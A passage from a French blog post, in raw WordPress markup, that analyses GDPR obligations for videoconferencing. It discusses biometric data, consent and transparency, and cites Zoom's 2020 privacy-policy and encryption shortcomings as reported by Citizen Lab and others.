catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <strong>Les données à caractère personnel doivent être :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. <strong>Le responsable du traitement est responsable du respect du paragraphe 1 et est en mesure de démontrer que celui-ci est respecté (responsabilité).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud 